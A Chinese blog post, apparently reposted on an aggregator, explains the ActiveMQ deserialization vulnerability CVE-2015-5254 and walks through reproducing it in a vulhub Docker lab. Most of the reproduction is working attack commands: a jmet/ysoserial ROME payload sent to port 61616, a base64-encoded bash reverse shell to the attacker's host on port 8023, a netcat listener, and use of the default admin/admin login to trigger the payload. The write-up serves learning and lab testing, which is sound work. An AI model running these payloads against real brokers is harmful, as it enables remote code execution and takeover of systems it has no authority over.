当前位置: 首页 > news >正文

ActiveMQ反序列化漏洞原理+复现

ActiveMQ反序列化漏洞

ActiveMQ

ActiveMQ是开源消息总线,消息中间件

工作原理

通过使用消息队列,实现服务的异步处理,主要目的是减少请求响应时间和解耦合。

消息队列,服务器A将客户发起的请求放入服务器B的消息队列中,服务器B从消息队列中取出并处理。

从以上内容中可以看出,消息中间件的主要功能就是为了解耦合、消峰和异步,即解决高并发问题和系统间的RPC交互繁杂问题。

漏洞原理

此漏洞源于程序没有限制可在代理中序列化的类。远程攻击这可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

解释说明

ActiveMQ通过消息队列来实现信息传递,每个消息要保证发出端和接收端格式相同,其中使用了序列化的方法进行传递,在这个过程中没有限制可在代理中序列化的类,这时候我们就可以自己构造一份序列化的恶意代码payload,将其作为事件发到ActiveMQ服务上,在管理员在后台管理时触发了payload,或者攻击者使用弱口令拿到ActiveMQ的账户,并执行了payload,则可以成功利用该漏洞

使用限制

  1. ActiveMQ的版本<=5.13.0
  2. payload需要主动触发

漏洞复现

实验配置

靶机地址:192.168.27.128:

攻击机:192.168.27.129

创建容器

ps:如果没有安装好docker请看上篇文章

cd vulhub

cd /activemq/CVE-2015-5254

docker-compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

测试靶机

用攻击机访问靶机ip:8161,查看是否开启成功

在这里插入图片描述

看到如下页面,则说明安装成功

漏洞利用
  1. ysoserial是java反序列化利用的工具之一,其中集合了各种java反序列化的payload
  2. jmet集成了ysoserial,所以我们只需要安装jmet即可
  3. 将序列化对象作为一个消息,发送给目标61616工作端口
  4. 访问web管理页面,读取消息,触发漏洞
安装jmet

cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

在这里插入图片描述

直接输入到终端即可

构造测试payload

java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “touch /tmp/chen.txt” -Yp ROME 192.168.27.128 61616

使用ROME payload 把touch /tmp/chen.txt 命令序列化后作为名为chenevent的消息发给ActiveMQ

-Q 指定消息名

-I 选择要装载的JMS客户端

-s 选择ysoserial paylad

-Y 指定命令

-Yp 指定payload

最后是ip与端口

在这里插入图片描述

打开web页面

账号密码都是admin

如图操作

在这里插入图片描述
在这里插入图片描述

用靶机连接到docker容器,查看tmp目录下是否存在chen.txt

docker exec -it 容器id /bin/bash

docker ps 看容器id

在这里插入图片描述

看到chen.txt说明测试成功啦

终极目标!拿到shell

来个制作反弹shell的网站

https://www.revshells.com/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yLBGey4w-1678327567182)(C:\Users\34232\AppData\Roaming\Typora\typora-user-images\image-20230309093515332.png)]

sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

反弹shell一般都需要加密,咱就base64一下

base64加密网站:http://www.jsons.cn/base64/

c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx

构建payload

和上面测试payload一样,将命令替换即可

java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.27.128 61616

攻击机先开启端口监听,监听8023端口

nc -lvnp 8023

然后开新终端输入payload,靶机模拟管理员点击事件

在这里插入图片描述

成功拿到shell!

http://www.lryc.cn/news/35141.html

相关文章:

  • layui框架实战案例(19):layui-table模块表格综合应用(筛选查询、导入导出、群发短信、一键审核、照片展示、隐私加密)
  • 分析vmlinux,uImage,zImage,Image的生成以及之间的关系
  • 设计模式-六大设计原则详解(java 版)
  • Linux下Nginx安装使用
  • 推动汽车业务向前发展的混合云战略:汽车数据解决方案
  • Boosting三巨头:XGBoost、LightGBM和CatBoost(发展、原理、区别和联系,附代码和案例)
  • 设计模式~模板方法模式(Template method)-10
  • 【WebSocket】在SSM项目中配置websocket
  • node-red中创建自定义节点 JavaScript 文件API编写详解
  • 华为OD机试 - 寻找路径 or 数组二叉树(C 语言解题)【独家】
  • YOLOv7、YOLOv5改进之打印热力图可视化:适用于自定义模型,丰富实验数据
  • 【Java代码与架构之完美优化】篇1:代码质量优化通用准则
  • Linux进程间通信详解(最全)
  • ROS 摄像头的使用
  • VR全景云展厅,实现7*24小时的线上宣传能力!
  • RK3568平台开发系列讲解(显示篇) DRM显示系统组成分析
  • WPF DataGrid控件的使用 使用列模板来进行数据格式的美化
  • elasticsearch自定义企业词典
  • 【AcWing】学了一坤时才明白的一道题
  • ES6的export和import
  • ASEMI高压MOS管20N60参数,20N60尺寸,20N60体积
  • 【备战面试】TCP的三次握手与四次挥手
  • 【模板进阶】
  • Tech Talk | 电致变色技术带来的智能AR体验
  • ACWING蓝桥杯每日一题python(持续更新
  • 【Linux】进程状态(阻塞、挂起、僵尸进程)
  • 规约第二章
  • 2019年MathorCup数学建模C题汽配件制造业中的生产排程问题解题全过程文档及程序
  • ARM uboot 的移植3 -从 uboot 官方标准uboot开始移植
  • 华为OD机试 - 快递货车(C 语言解题)【独家】